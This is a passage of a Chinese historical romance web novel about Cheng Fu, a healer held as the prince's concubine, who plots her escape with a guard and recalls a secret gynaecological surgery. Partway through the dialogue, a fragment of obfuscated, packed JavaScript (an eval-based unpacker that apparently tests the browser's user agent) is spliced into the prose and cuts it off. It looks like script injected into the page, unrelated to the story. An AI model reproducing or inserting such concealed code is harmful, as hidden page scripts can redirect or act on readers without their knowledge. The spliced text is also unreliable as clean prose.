崔毓真餍足地伸伸懒腰,起身抱起她的猫儿玩去了,独留卓婉茉和程芙无声对坐。 “阿芙也对野史感兴趣?” “回郡主,是您讲得好。” “表哥那里藏了不少有趣的书,你去翻翻。” “奴婢不敢僭越。”程芙慢慢抬头看向她,婉声道,“没有王爷的准许,谁也不能进他书房。” “连阿芙也不能进?表哥当真小气。” “奴婢自该有奴婢的本分,断不能因主子大度就忘乎所以的。” “是个懂事的好姑娘。”卓婉茉赞许,“不怪表哥喜欢,我也喜欢了。” 程芙浅浅地笑,“奴婢惶恐。” 你来我往试探一番,两个聪明的女孩子已是心领神会,彼此都很满意。 明珠郡主和芙小姐攀谈起来,言笑晏晏,很是融洽。但周遭的仆婢过多,呼吸闷得慌,她挥一挥手,众人只好后退了数十步,有的退去了门槛外。 四下一霎就空旷起来,免去了隔墙有耳,卓婉茉呷一口清茶,道:“阿芙美貌聪颖,便是我见了也不禁疼惜,表哥真不会疼人,连个名分都不给。” 他不给的,王妃可以给,给的可能更多。 程芙喟叹,有凄苦之色翻涌眼底,弥漫成了水雾,“奴婢出身低微,不怪王爷心硬。” 美人我见犹怜这句话并非空穴来风,卓婉茉被程芙的一番自苦迷了眼,嘴唇翕张,没能接上话。 好半晌,才醒转过来,干笑一声:“你这般钦慕表哥。” 程芙苍白的脸色微微泛了红,落寞道:“王爷芝兰玉树,又有几人能无动于衷。” 爱慕表哥是件很正常的事,没感觉才让人费解呢。卓婉茉表示理解,“表哥天潢贵胄,你痴心于他也不为过。那么……阿芙想做程姬还是庄姬?” “阿芙姓程,自然只能做程姬的。” 卓婉茉更满意了,脸庞白里透着粉,亮亮的,“阿芙求什么?” 无非名利金钱。 程芙极目远眺,似是在认真思索,幽幽道:“奴婢想远离是非,忘了永远都得不到的人。” 动了心却看不到未来的女子,决定抽身,卓婉茉依旧理解,曾经自己也是如此,幸好苏月嫣英年早逝。 程芙引袖拭去腮畔一滴珠泪,长叹:“主要是奴婢饮了大半年避子汤,早已不宜再有孕。虽说今时如日中天,可他日色衰爱驰,岂非更惨?” 卓婉茉怔怔瞅着眼前的少女,漫生一丝愧疚,不禁咽了咽干涩的喉咙,讪讪道:“表哥那般爱重你,必不叫你后半生无所依的。” “与其依靠男人,奴婢更想在自己还有用之时为真正能护住奴婢的人……分忧。”程芙意味深长地看向她。 卓婉茉心跳加速,进展的好顺利,完全不费吹灰之力。 “若能得主母怜惜,奴婢经后也能少挨些打了。” 言下之意是若非逼急了谁舍得离开毅王。 卓婉茉大惊失色:“表哥还会打人?” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她高兴地环住他精瘦结实的腰杆,依偎在他胸口。 崔令瞻抱了抱她。 “那说好了,开春后您可得把我教会,我要乘着自己的马车参加会选。” “你到底是要马还是马车?” “都要……不行吗?” “行。”他低头贴着她额头,“那你乖不乖?” 程芙噙住了他的唇,崔令瞻眼帘俱颤,单手托住她的后颈,她像只谨慎又野心勃勃的狸猫,咬了他,他停滞,下一瞬她突然打开了牙关,任由他深深侵略,掀起了一池滚烫的涟漪。 他觉得自己也快要燃烧了。 良久之后,激烈的纠缠才依依不舍停止,崔令瞻唇色嫣红,五官看上去益发鲜艳夺目。 程芙努力匀了匀呼吸,仍是站不稳,趴在他怀中闷声问:“王爷,晚上过来吗?” 崔令瞻的心跳骤然狂乱,身体比声音更先热烈地回应了她。 程芙假装没有发现。 良久,他“嗯”了声,复又解释,“这里冷,我抱你睡,侍寝的事回府再说……” 两人手牵着手回了暖阁,芳璃服侍程芙换了更厚的棉衣棉裙,戴上手衣和面衣,再披一件厚实蓬松的银狐斗篷,整个儿变得毛绒绒的,宛如某种完全没有伤害的小兽。 户外,凌云牵来了一匹高大健壮的鲜卑青骢马,名唤青烈,另一亲卫搬来上马凳,王爷肯定不需要这个,只有程芙才需要。 寻常姑娘见了青烈,好一些的脚软,差的能当场吓哭,崔令瞻一上来就牵出它多少存了点戏弄的坏心思,知难而退吧姑娘。 程芙怔怔瞪着眼前的巨兽,双足僵住,暗暗沉下了所有力气,不叫自己后退。 她再木讷也从崔令瞻和凌云的眼神里读到了戏谑和轻慢,仿佛都在等她出丑。 这种感觉过于尖锐,刺痛了她,点燃了胸臆的一团火,烧红了眼,沸腾了心。 程芙抿唇轻提裙摆一步跨上了板凳,崔令瞻的手同时伸去,虚扶着鲁莽的她。 陌生的气息陌生的人,青烈漠然的目光立即瞟过来,程芙想,这么多人在呢,有种你就摔死我,我死了倒也干净。 青烈哼了声,扭过头安静极了,尾巴悠然晃了晃。 它只是一匹面目狰狞的温柔巨兽罢了。 程芙笨拙地跨上马鞍,薄汗浸湿了脊背。 凌云轻笑一声。 崔令瞻利落地翻身而上,一手接了凌云递来的马缰,一手环着程芙,驭马缓辔前行。 马蹄哒哒,程芙的身形直愣愣地晃,一阵阵不适的颠簸悄然扩散。 “放松。这里放松。”崔令瞻在她腰腹比划,“这里发力,跟着我慢慢动。” 程芙:“……” “配合不了马背的节奏,不消多会儿腰就废了。”他扬眉道,“你以为日行千里只是坐在那里轻轻松松?” 程芙涩然道:“可我有点难为情。” “那我们走远些。” “嗯。” 等走得远了,随行的人被完全甩在了后方,程芙才轻声问:“现在,我做的对吗?” “有进步。” 程芙抿笑,抬起头来,眼波如水。 崔令瞻低头轻轻撞一下她脑门,“对了,有件事想问问你。” “嗯?” “听说你为我喝了半年的避子汤。” 程芙心头猛一个踩空,哑然失色。 “我还拳打脚踢你?” 35-40 第36章 听见他的声音, 那个抖成了寒风秋叶的姑娘陡然平静了下来。 显然她一直在期待他。 凌云收回手,扯过附近一张锦杌端然而坐,直奔主题:“令姨母不糊涂, 你所言她皆明白, 你可以高枕无忧了。” 以他的聪慧便是一开始没弄懂程芙意欲何为, 在见到柳余琴后也猜出了七七八八。 这姑娘的胆子很大, 想在毅王身边搞事。 但他并未打算深究程芙的动机,因为那与他不相干。 “多谢凌大人。”程芙说, “可我一直躺着跟您说话也不太敬重,劳烦您背过身, 我好起来, 也好把一些话都跟您讲了。” “你又有事?”凌云皱着眉转身。 程芙立刻爬起,抓起床尾柜子上的衣裙,三下五除二穿戴整齐, “不是什么大事,我穿好了。这么黑,您看不见我吧?” 她边说边探出一只脚摸索趿鞋。 凌云偏头盯着她翘起的脚趾,“嗯,看不见。” 她神色明显一松,穿着鞋,伸手在黑暗里挪动, 眼看就要摸到他了, 凌云浑身绷紧,沉着嗓音:“干嘛?” 吓得程芙手一缩,“啊,我记得这里有只锦杌。” “我坐着了。” “哦。”她便坐回了床沿,没有焦点地望着他的方向。 凌云先开了口:“当年阿窈离开时也不只你一个瞧见, 我也收到过旁人的反馈。” 委婉地提醒她适可而止。 “可是旁人都没我看得清对不对?”程芙在黑暗里笑笑。 凌云:“……” “大人神通广大,手里肯定不止我这点线索。”程芙说,“可我这里的想必极重要,远胜其他人的,否则您这样的贵人也不至于连番主动找上我。” 这是她最大的依仗,只要在离开广江前有用,她就一定能逃出毅王的手心。 凌云轻笑一声,眯着眼打量她,她适应得差不多了,依稀能辨别他的轮廓。 “直说吧,又想怎么着?”他掏出那枚小玉佛在手里掂量,威胁之意不言而喻。 程芙不以为忤,柔声道:“大人喜欢玉佛的话,就送您了。我这里还有半匣金子,也可以送您。您胆子大的话,御用的珠宝我也有不少……” 凌云:“……” 她在黑暗里,朝着他的方向挪动,女孩子特有的柔软气息扑面而来,而后停在了距离他非常近的位置,盯着他的眼睛,轻轻道:“可不可以送我一程?出燕阳,直到离开广江。” 只有他能帮她,其他有能力的,她够不着。 “你不要命了?” “在毅王手里我也没几日好活,他总是欺负我。” 情-药也是药,总不能一直吃,一年两年三年的吃,身体怕是要不好了。可是若无情-药,她不知能否撑得住毅王的捣腾,只想一想就非常害怕。 崔令瞻的力气非常大,有一回把她半边身子都推了下去,半路他又将她提了起来,从那之后便死死抓住她的肩膀或者手腕施为。 “……?” “我知道您瞧不上我,可我确实不是您以为的那种姑娘,都是旁人欺负我欺负狠了,我才还手的。尽管大家都说不对,可我没有更好的选择。” 她的声音在黑色的夜里很轻,“您知道的关于我的过往,都是真的,但也不完全是真的。我没有勾-引挑拨徐家兄弟,是大少爷给我灌了药,徐峻茂惊怒焦急之下才出手打了人。他是为了保护我。” “为何突然对我讲这些?” “我能感觉到您讨厌我。”她说,“被讨厌的人裹挟,心里定然难受。我并非有意令您为难的,也很怕您半路撂下我,那我便也凶多吉少。” 主动把误会说开总比没说开的强。 凌云:“……” 静谧的黑暗里,她能听见凌云的呼吸声,可惜看不清他的表情,无从判断他的情绪,因而心里愈发没底。 可再着急也必须稳定着心绪,尽可能给他留个好印象。 沉吟片刻,凌云轻笑:“你胆子真大。” “是挺大的。等出了广江,我定把知道的都与您交代清楚,且我记性尚佳,六年了我依旧记得接走阿窈的大汉模样,只要见到他,我定能一眼认出。” 凌云抬眸,眉峰微挑,“果真?” 这倒是个意外的惊喜。 “千真万确。” “你可知北镇抚司有专门的画师,凭借正确的描述便能还原不同人的样貌?”他低低道。 “那我就更有用了!”程芙明丽的眼眸刷的亮了,“不如直接送我去京师,我保证配合画师为您还原故人原貌。” “你真的是给跟竹竿就顺着爬。”凌云面无表情道。 程芙:“……” 他缓缓倾身,凑近了她问:“知不知你要我做的是杀头的事?” “难道大人还要敲锣打鼓的护送我?”她说,“您不会偷偷吗?” “那也费脑子费精力,我得想想值不值。” “您慢慢想吧,哪天我忍不住以下犯上,把毅王给打咯,您找我的尸体问东问西去。” 凌云扑哧笑了,“逗我呢,打毅王,几两肌肉啊你?” 程芙却没有笑。 凌云也不笑了。 “马术练得如何?”他突然问。 她回:“还不错,正常赶路没问题。” “有空再练练,我不会等你,更不会为你一直乘车,那很耽误时间。”他说,“何时离开,你得等我消息。” 他本来就要离开燕阳,捎带她一下也不是不行。 程芙激动地站了起来,差点踩着凌云,他往后仰了仰。 “大人,我没那么娇气,只要您肯捎上我,我决然不拖后腿。” “你就不怕我把你卖了?”许是男人的劣根性作祟,他歪着头,戏谑道。 “怕的。”程芙说,“可我只要能动,我就能到处说我和毅王的关系,说被你拐骗而来,到时您也不好受,是吧?” 凌云哈哈大笑,转而眉毛一压,“就这么信我?到时月黑风高的,你不怕我将你先-奸-后杀,再挖个坑一埋?” 程芙瞳仁微晃,用力攥紧了自己的手心,背心渗出一层汗,废了好些力气才找回声音,颤颤道:“我相信大人。大人的眸中没有欲-念。” 凌云这次笑得前仰后合。 程芙抿着唇,很安静。 在崔令瞻不知道的角落,他的女人和亲卫商量好了逃跑的章程。 窗外传来三更天的梆子声,松弛下来的程芙陡然意识到自己是个女的,凌云是个男的,此时此刻,她与他若无其事对坐,坐在她的寝卧里,彼此距离不足一臂。 无论从何种角度解读都有些诡异。 然而身正不怕影子斜,况密谋“判主”本就不适合光明正大进行,她和凌云这样情有可原。 凌云低眸轻咳了声,“睡吧,我先走了。” “大人慢走。”程芙殷勤地去橱柜里摸蜡烛,“蜡烛要不要?等没人的地方点上。” 凌云转了转胳膊道:“不需要。” 离开前,他似又想起什么,回身道:“是了……” 有两团暖暖的东西撞在了他怀里,一触即弹开。他知道是什么,往后退了一步,淡淡道:“我不找你的话,切勿找我。” 程芙面红耳赤,僵硬道:“好。” “也不许在付大娘面前提我。”他说,“懂我意思吗?与我越疏远越好。” 程芙明白了过来,点头如捣蒜,“嗯,我都听您的。” 女孩的声音又细又绵,还带着一丝儿颤,于寂静的黑暗里钻进耳朵,有点痒,凌云头也不回钻出房门。 程芙赌赢了。 她出神地望着凌云消失的方向,如梦似幻,睡意全无。 去年,也是这样的春夜,她被人关进了毅王府为奴。 今年二月时,毅王把十七岁的她变成了一个妇人,在她尚且稚嫩的土地上肆意纵横,享受极乐,而后对她的掌控渐渐松散。 …… 当东方冒出一线鱼肚白,天亮了。 惠民药庄鸡鸣犬吠,炊烟袅袅。 程芙用过早膳,就去了章吏目身边分药。动手的时候不影响动口,因而章吏目时长考校她些问题。 章吏目:“若老妇人因忧虑愤怒成隔气之症,你待如何应对?” 程芙想了想,用官话尽量吐字清晰道:“先为病妇益气补血,以六味地黄丸配合四物汤合二陈汤煎服,这是医书里的。” 章吏目点点头,又问:“那若是按你的,你当如何?” “若是我的,我就让病妇再加三片生姜,次日就能见效。”她弯弯的笑眼像月牙儿。 章吏目:“都是令堂所授?” 程芙忙点头,“是。家母年轻时未能遇上皇后娘娘的恩典,后来为了我,哪儿也不敢去,不然定是个顶好的女医。” “天下父母心,令堂很疼爱你。” 程芙悲伤的眼,却幸福地笑,“是的,我阿娘很疼我。” 章吏目叹息:“令堂年纪轻轻仙逝,实乃我杏林之亏损。这般好的传承,令舅没有继承吗?” 他误以为程芙外祖家底蕴深厚,乃隐匿民间的世外高人。 程芙脸色微白,嗫嚅道:“我舅舅他……他不好此道。” 瞄了眼程芙一身上等的衣料,章吏目默了默,也对,忙于赚钱的大商贾,哪有功夫钻研此道。 程芙斟酌道:“吏目,阿芙还有一事不明,向您请教。” 章吏目:“你问。” “听闻太医署一个萝卜一个坑,医员每年都有两次大考核,连续三次垫底便要被驱逐,旨在督促众医勤于练习,精进医道。” “是有这回事。” “似阿芙这样的身份,等上一两年,是否就有机会进太医署……?” “不一定。”章吏目说,“排队想进的人多了去,你和她们还要经过院判那一关。” 原来又要考试。 不过从医本就关乎人命,非同儿戏,尤其太医署关乎的可是贵人的命,给一百个胆子也不敢儿戏的,程芙能理解。 章吏目:“以令舅的家底,你还愁没饭吃?” 程芙强撑着笑一笑,支吾道:“舅舅和我阿娘从小不在一起长大,因而与我家有些疏远。” 说着轻轻叹了口气。 寄人篱下,便是寄在豪门贵族也难免多龃龉,身在京师见多识广的章吏目又怎会一无所知?透过富贵的表象,程姑娘未必如意,那么急于挣个前程实乃人之常情。 她安慰道:“补缺候职虽不能走捷径,可也不是没其他门路。” 章吏目给程芙指了另一条捷径:京师的高门大户何其多,不是谁都能请得动太医署,请得动也未必随时可以请,所以他们专门供养了若干医术高超之人,以供驱策。 切勿小看这条路。 虽说与坐馆的先生没甚分别,却不乏真正有能力者,通过此捷径被直接举荐为御医。 程芙的姨母现下就在国公府谋生,付大娘的营生也十分类似,所以程芙早已洞悉,只不过头一回听说还能凭此被举荐,便立即记在了心里。 两人有一搭没一搭闲聊,时间不知不觉就过去了。 接下来的日子,直到三月中旬,只有付大娘过来探望了程芙一次。 凌云杳无音信。 程芙难免惶惶然,他只吩咐安静等消息,却不知给准信。没有准信的话,她该如何准备,又如何去见他? 越想越睡不着,程芙躲在屋子里焦虑,后来想通了,开始偷偷整理行囊,两身换洗衣物加上所有能动用的金银。 其余有钱能买到的东西一概不带。 她用两层结实的藕色于洲绫打包,再将包袱塞进最不起眼的箱笼,箱笼上叠一层茵褥,推说有和王爷用的东西,不让人翻动,那么玉露没她允许就不会去打开。 将来回到王府,亦用这个说辞,定能蒙混过关。 杳无音信的凌云,自从京师而归,与另外五名领了毅王厚赏和十五日休沐,少不得又要被相熟的同僚架着饮酒作乐。 他注意到李延海消失了许久,却不宜再问。 亲信与亲信之间也分亲近和特别亲近,在军营待了六年的凌云颇得毅王赏识,然比起那些效力十余年的人来说,又算不得什么。 何况私挖金矿之大不韪,若能叫人轻易抓到马脚,毅王也就不是毅王。那么凌云接触不到这样的机要,其实还算正常。 凌云低眸轻抿一口清酒。 燕阳这块风水宝地,不知藏了多少金银铜铁,盯着的人很多,小道消息也很多,锦衣卫不知来过多少波,东宫那位更是手段层出不穷,却至今没摸到确凿的证据。 只有皇帝看上去不着急,毅王本人也不急。 “嗐,你们听说没,前天夜里,毅王下令处决了一人。”一名圆脸亲卫心有余悸道。 凌云竖起耳朵,旁边的两人立即催圆脸快讲。 圆脸道:“处决时我也在场,上官没叫我管好嘴巴,所以说出来不算违命。” “知道了,你快说。” “那人胸口有奇怪的刺青,反正不是犯了普通的事。”圆脸压低了声音。 “不会是……北面的人吧?” “北镇抚司”四个字到底是不宜直接讲出来。大昭缇骑,南北镇抚,魂飞汤火,惨毒难言。 据闻京师缇骑如日中天,手执特殊皇令,跳出三司之外自行逮捕、刑讯、甚至处决,被他们盯上的,上至皇亲国戚,下至平民百姓,不管有无真赃实罪,都叫让人抄家灭族。恶行罄竹难书,一群不修来世的亡命之徒。 圆脸心有余悸,用眼神和同僚交流,你来我往。 凌云斟了杯酒,慢慢地喝。 筵席散后,众人各自搂着相好上楼歇息,凌云也醉的不省人事,媚儿娇嗔连连,与他搂搂抱抱回到了万春阁花魁的专属房间。 进去没多久,凌云撩开帐幔,已换上了黑色夜行衣,面覆同色面衣,从头到脚捂得严严实实,推窗跳进月色里,几下蹦到了屋脊高处,悄然无声。 媚儿扁着嘴眺望,觉得他像一只灵巧的猫,镶嵌在明月的轮廓里,眨眼消失。 若非抓过他-那-里,她都要怀疑他是东厂出身。 正常男人便是再不喜欢,也不可能对倒贴的美人无动于衷,所以媚儿合理怀疑凌云是阉-党,魏大珰(大珰,权宦尊称)的爪牙。 可她万万没想到凌云有-那-个……完整的那-个! 然后她的手腕差点儿被这个无情的男人扭断。 想想就一肚子幽怨,媚儿气呼呼关上窗。 婢女来问媚儿是否就寝。 媚儿:“再等等。” 睡不着。如今她的日子也不太好过,缇骑鱼龙混杂,混进不少阉-人。 北镇抚司内部一天比一天热闹,原缇骑和阉-党频繁斗法,似她这样的小鱼小虾,不知赔进去多少了。 藏龙山位于燕阳北面,形似卧龙,地势险要,其内草木葳蕤,浓阴蔽月,林深处不见星光。 附近原本也有两处村落,后因田地种出的作物味道粗劣,产量稀少,便渐渐迁移,最终只剩几家猎户。但藏龙山委实凶险,进林狩猎非死即伤,渐渐也就没什么人再去了。 唯有山脚下一间香火稀薄的寺庙,偶尔有人过来添些香油钱,复又急匆匆离开。 人迹罕至之地,仿佛被尘世遗忘。 深更半夜的,凌云纵马疾驰到了此处隐秘之地,他跳下马打个响指,那马儿仿佛成了精,立即跑走了,躲进岩石暗处,不发出半点声息。 他抽出匕首,曲肘挡在身前,迅速窜进了密林。 两日后再出现,发丝凌乱,浑身泥泞,双目倒是格外有神。他将匕首塞进皮靴,绑结实,就近从一处斜坡滑下来,吹个口哨,跳上自己的马儿飞奔驶离。 那边厢亲卫陆续离开了万春阁,也只有小白脸凌云舍得留宿三日,主要是还不一定掏钱,依媚儿的态度,只要凌云愿意留,她宁可倒贴的。 大家羡慕不已,骂骂咧咧,有人故意使坏,上楼敲门,唤凌云一起走,没多会儿,门内就传出了凌云的喝骂,众人哄笑,吹着口哨逃离。 门里面,端坐妆台的媚儿从口中吐出一粒珍珠。 她自小习得奇术,一张小嘴一颗珍珠,便能模仿各种声音,活灵活现,走街卖艺时被北镇抚司的指挥使连人带摊子买走。 这日付氏又来看望程芙,两人许久未见,拉着手叙旧。 会选失利全然未对付氏的心境造成影响,她本就怀着中之血赚,不中命也的心态。 再说阿芙中了呀,她真心实意为阿芙高兴,上回来就是为了与程芙庆祝,买了不少酒菜,这回又带了两包庆芳斋的冬瓜糖。 你要问她与程芙是什么关系,可能连她自己也形容不贴切,阿芙在她眼里,是孩子,是师父,是朋友,亦是同道中人…… 胜过世间许多种深厚的情谊。 想到自己和凌云的密谋,程芙深知将来或许再没有见到付氏的机会了。 她拿出早就备下的礼物,牛皮封存的,双手放在付氏手中,“借花献佛。这原是王爷送我的金针,现在我有了香山匠人特制的,那么这套便用不上,我想它应该去擅于用它之人的手中。” 笑眯眯拍了拍付氏的手。 付氏瞠目结舌,下一瞬满脸通红,目中有狂喜之色,激动地望着程芙。 程芙:“既学了我家的传承金针术,怎能没有顶好的金针,你说是吧?” 付氏:“阿芙……” “都说了是借花献佛,反正王爷的东西不用白不用,平常心就好!” 付氏揽着她肩膀,激动不语。 “从医这条路漫漫,相信大娘将来定然能使出一手好针阵,造福万千女子。” “阿芙这样的姑娘,困在内宅可惜了。”许久,付氏轻轻喟叹。 程芙没有接话,托着腮,转眸凝望窗外。 一名女吏走过来,对程芙道:“程姑娘,你舅舅来看你了。” 程芙:“……?” 付氏:“……?” 第37章 想必付氏和程芙差不多纳闷, 哪门子的舅舅? 程芙一霎就反应过来,面色微白。 一刻钟后,她才磨磨唧唧走出了分药的院子, 又出了黑漆大门, 对面柳树旁停着辆高大宽阔的马车, 映入了她眼帘。 车夫和“家丁”发现她, 统一往周遭散开,散得远远的, 唯有墨砚笑着招呼了声:“请吧姑娘。” 她想了想,定下心神登上马车。 崔令瞻正在车上看邸报, 她走进来, 他就放下了,一双摄人的黑眼睛上下打量着她。 粉面含露,比从前多了一抹韵味, 是他把她变成了女人之后的韵味。 程芙:“王爷。” 崔令瞻嘴角一牵,“不叫舅舅?” “出门在外,有时就得自己给自己安个方便的身份。”她垂眼斜斜盯着左下方说,“我这样的要说在燕阳无亲无故,实难取信于人。” “说未婚夫不好吗?” “未婚的男女见面才是于礼不合。” “那直接说是本王的爱妾。” 程芙眼睫微颤,像是第一天才认识他般,怔怔看向他。 崔令瞻低下眼帘, 淡淡道, “之前没与你商量是因为我也没把握,如今有把握了,挑个好日子把你名分确定下来。等下半年换个册籍,我自会慢慢为你筹谋。” 侧妃也不是没可能。 他撩眼看向她,“做本王的侧妃不算辱没你。只侧妃不是一蹴而就的, 你好歹装装样子,从我的小妾开始。” 况且做他的小妾又怎么了? 他是苛待她吃还是苛待她穿?衣食住行,呵护疼爱,哪样不是最拔尖的? 他见不得她强装镇定的眼底晃动着委屈。 “把名分定下后,我们就生个孩子,不拘男女,来年呈报宗人府,一切都好说。”他说完忽又心软了,阿芙尚不满双十,在他眼里还是个小丫头,与他行-房已是不容易,如何做得母亲? 他闷声道,“算了,过两年再生。” 程芙冰凉的指尖在袖子里,摸不到一丝暖意,许久才轻声道:“王爷,您为何总是欺负阿芙?别人也是这么欺负我的,欺负狠了,我才还手的。” 崔令瞻:“……” 可她知道不管哭泣还是愤怒,都于事无补,此时此刻,她撼动不了眼前这个男人半分汗毛,发疯只会陷得更深,说不定还有皮肉之苦。 那就再耐心一点,一点点就好,马上就能彻底离开他了,她何必在紧要关头为一时荣辱自毁前程! 也是在这一刻,程芙意识到了自己对崔令瞻清晰的恨意,恨不能他去死,可他若是死了,贵公子也就没了。 她没有缘由的伤心,眼泪落了下来。 她要永远离开他,一生一世再不相见。 在这个暮春时节的三月里,崔令瞻的马车上,程芙趴在崔令瞻的肩膀给他讲了那日所有的细节,不是一带而过。 去年此时,善良的船娘子观程芙自登船就没买过一碗饭,便去厨房盛了一碗咸粥,塞给她道:“出门在外,女孩子不吃饱多危险,这是卖剩下的,扔掉可惜,吃吧。” 说完,看也不看她,转身招呼其他客人去。 程芙和着眼泪喝那碗粥,热乎乎的,里面有鲜美的春菜和一点腊肉丁。 承蒙照拂,程芙主动为腹痛的船娘子艾灸驱寒气,疗效显著,还能一眼断症粗使婆子的顽疾,俨然一个经验丰富的女科小郎中。 她的医术得到了这群底层女子的认同与推崇。 为了照顾身无分文的程芙,船娘子厚着脸皮在二楼极为贵重的客人跟前,推荐了程芙。 贵客身体很不好,面色苍白,带着久病不愈的青色,随行的医婆也已黔驴技穷。 船娘子深信阿芙定有法子。 程芙记得那日雨过天晴,凉凉春风透过了她单薄的衣衫,肌肤便起了一层小粟米,打个寒噤。 闻得楼上贵客的身份,她又打了一个寒噤。 理智告诉她当藏锋守拙,尽量回避。 然而现实一碗粥就能将她击垮,她盯着贵客婢女递来的二两银子,咽了咽口水,便傻傻跟人上了楼。 仿佛踏入了另一方红尘。 呼吸间全是不知名的花香,一应陈设多是叫不出名的,有的甚至猜不出用处,程芙看花了眼,忙垂下眼帘,越过五六名婢女,规规矩矩走进了里间。 里间仅有一名蓝衣婢女,见到她先搜了身才放行。 另有健硕婢女撩起宛若月光的纱幔,露出其中贵客的真身——倾国倾城。 程芙看直了眼。 “我姓苏,称我苏姑娘便可。”绝色美人缓缓抬起眼帘,双眸仿佛灰色的冰,对程芙点点头,“过来,艾灸。” 案上摆放着一盒整整齐齐的陈年艾条。 程芙走过去,打眼一瞧苏姑娘病体严重,此时怕是强弩之末,她忙攥了攥苏姑娘的手,果然冰冷彻骨。 “放肆!”健硕婢女箭步上前掀翻程芙,呵斥,“小姐玉体岂是尔等贱民所能触碰!叫你艾灸,你便好好艾灸,谁允许你诊脉的?” “医者不请脉又如何清楚症因对症下药,姑娘若讳疾忌医何必请医者来?”程芙轻抚手臂,不卑不亢。 苏姑娘:“松歌,不得无礼。” 名唤松歌的健硕婢女应是,旋即收敛杀意,警告程芙:“一切听小姐吩咐,不叫你动的别动。” 程芙念着二两诊金,回:“好。” 她挑开火折子,指尖尚未触及艾条,忽听苏姑娘开口道:“我自小有寒症,十五岁起每月发作,腹痛难忍,如今已有三载。” 松歌面色有异,瞥向苏姑娘,苏姑娘悄然摇了摇头,松歌垂下眼。 程芙:“敢问姑娘癸水颜色,前后间隔天数。” 苏姑娘:“我没有癸水。” 这下不止松歌,连蓝衣婢女都晃了晃。二婢神色微慌,却站得笔直,抿紧了唇。 程芙不动声色收回余光,询问:“姑娘能否允我请脉?” 连秘辛都道出,也就不值得再相瞒。苏姑娘瞬也不瞬盯着程芙,几息之后,缓缓伸出皓腕,道:“有劳。” 程芙颔首,从善如流诊完脉,又仔细观察病患的耳目、口舌,已然有了猜测,八九不离十。 她请婢女取回医箱,从中翻出一本画册,直言道:“此为女图,皆是女子之秘。姑娘病因多种,能不能治都得经过一种方式,乃常人所不能接受。我不得不配以此图为姑娘讲解,姑娘理解了再回愿不愿治。” 不治是死且很糟糕,治也许会死起码还有生的希望。若非家道落魄,途中遭遇变故,又怎会在此苟延残喘,现如今容不得自己想太多。苏姑娘索性听医婆讲讲。 她牵了牵嘴角,回:“请讲。” 苏姑娘出身高贵不假,却并非一无所知的金丝雀。作为婚期在即的女子,不知看了多少避火图,在教习嬷嬷的指点下学了多少男女之事,懂的可能不比程芙少。 程芙徐徐打开画册,寻常女子见了怕是不晕也要掩面逃走,苏姑娘却镇定自若,不动如钟。 这倒省去程芙不少精力。 原以为苏姑娘可能受不了此等刺激,命人将她轰走,她归还诊金。 可患者始终都表现出了配合的意愿,将自己全无保留交付,医者于情于理都不能再后退。 程芙敛神,为苏姑娘讲解了女子的身体构造,又述说了癸水的原理,最后将粗纸卷成长筒状为其演示,“我要做的就是以刀划开这里,以便癸水顺利流出。” 苏姑娘:“倘若划开也没有癸水呢?” “那是最坏的情况。”程芙如实回答,“意味着姑娘天生少了一两样女子的脏器。” 闻听如是说法,苏姑娘的脸色比方才更苍白了。 “癸水若……顺利流出,可算已无大碍?”她问。 程芙摇摇头,回:“仅算躯体再无大碍。将来洞房花烛,姑娘极有可能不再落红,但不是绝对的。民女建议姑娘不妨告知长辈,再由长辈出面与未婚夫详谈。” 告知患者风险乃医者的责任。在当下,花烛夜没有落红,苏姑娘依然是不幸的,可能遭遇丈夫的薄待。 苏姑娘慢慢垂下脸,沉吟难决,许久许久,满室死一般寂静。 程芙已然听见了婢女不安的呼吸声。 “你有几成把握?”良久,苏姑娘抬眸问。 “姑娘脏器齐全便是十成。” 否则神仙来了也没招。程芙实话实说。 松歌与蓝衣婢女欲言又止,想要劝苏姑娘,却根本想不出更稳妥的路子。 苏姑娘也在望着她们,一切尽在不言中。 她无路可走。 倘若挨两刀就能痊愈,落不落红倒是小事,以自己与毅王的情分,怎么都好解释,甚至按医婆所言请长辈出面都能解决。 怕就怕是缺少脏器。 一旦如此,她就是个无法生育的女人,这于苏姑娘以及背后的长辈而言都是毁灭性打击。 她把自己的处境全都告诉了程芙,希望程芙明了此时的她有多艰难,唤醒了程芙内心深处早就松动的恻隐之心。 但她没有告诉程芙,她的族人,乃至身边的人,曾因山匪摸了她手,便将毅王的护卫尽数灭口。 苏家女,贵为王妃之尊,绝无瑕疵。 一旦有了瑕疵,即便毅王顾念旧情娶了她,也绝不会再纳苏家女为侧妃。而侧妃之位一旦落入外姓女手中,苏姑娘的日子只会更难。 正妃与侧妃只能姓苏。 这一切程芙都不清楚,她只知道眼前的女孩马上就要成亲了,未婚夫乃尊贵无匹的燕阳毅王,如若她不尽心帮扶,这个美丽的女孩一生就毁了。 苏姑娘深深望向心腹婢女,眸光复杂,传达了不容错失的饬令——且看结果如何,再考虑留不留活口。 松歌点了点头,悄然退下。 蓝衣婢女则留在室内辅佐程芙。 整个过程苏姑娘都表现得十分坚韧,生生挨了两刀吭都不吭一声,结果也是出人意料的好,没多会儿癸水便顺利流出,意味着苏姑娘脏器俱全,很快就能痊愈,将来亦可生儿育女。 程芙替苏姑娘清理了伤口,再将后续如何保养一一告知蓝衣婢女。 “此处易愈合,痛感也极轻。”她说,“按方子熬煮汤药每日勤洗患处,不出三日便可痊愈。” 折磨苏姑娘三年的隐疾被一个江湖野医婆两刀解决。 干净利落。 整个过程仅用了半盏茶。 显得过去三年所受到的身体和精神的双重折磨犹如一个笑话。 苏姑娘啼笑皆非,最终化作凉凉一笑。为了维护她的声誉,母亲处理了所有为她诊治的医婆,却宁愿看她受折磨也不肯请御医救她。 她撩眼看向程芙,道:“你,真的很不错。” 程芙没有自谦,垂眸还了一礼。 “可愿随我入毅王府?” 蓝雪扭头看向苏姑娘。苏姑娘眯了眯眼。 别看医婆的地位不高,可若真有本事,也是最容易受到上位者青睐的。就在方才,苏姑娘突然定下了主意。 程芙低头回:“多谢姑娘抬爱。不过阿娘立下规矩一不为奴二不为妾,民女实在无福消受您的好意。” 跟着贵人自然有无边富贵。 可不签下卖身契,贵人又怎会放心留用。从苏姑娘的眼神,程芙明白了其中的含义。 